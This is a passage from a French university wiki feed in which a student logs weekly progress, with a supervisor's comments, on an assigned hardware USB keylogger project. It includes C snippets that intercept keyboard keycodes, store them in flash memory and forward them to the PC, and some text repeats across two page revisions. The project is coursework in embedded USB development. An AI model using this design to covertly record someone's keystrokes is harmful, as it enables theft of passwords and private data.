ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un de mes arduino qui n'est plus fonctionnel.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écris dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]].&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrive pas encore à récupérer les touches tapés via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, et ai filmé une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]].&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'Atmega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai modifiés légèrement pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoie de caractère où j'envoie directement le code HID obtenue via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'Atmega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'ancien élève. Comme quoi la librairie LUFA est vraiment complète et fonctionnel.&lt;br /&gt;
&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire via l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner à envoyé tout les caractères lu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans ma logique, j'utilise trois variables : ''page_start'' qui est la page où l'on commence l'écriture, ''page_actual'' qui indique la page courante et ''page_buffer_size'' qui indique la taille courante du buffer de donnée afin de trouver la place de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égale à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écris ensuite dans la flash à la page ''page_actual''. Puis on attend que l'écriture est effectué pour passer à la tâche suivante qui est l'envoie de la touche tapé.&lt;br /&gt;
&lt;br /&gt;
Du côté de l'Atmega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoie et la réception, l'utilisation de la fonction ''Serial_SendData'' pour envoyé les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayé de faire des fonctions de réceptions de paquet lorsque l'Atmega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=758</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=758"/>
		<updated>2023-08-09T10:04:35Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Avancées sur le keylogger&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je développe la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]].&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, seulement que les LEDS ont été soudés à l'envers. &lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
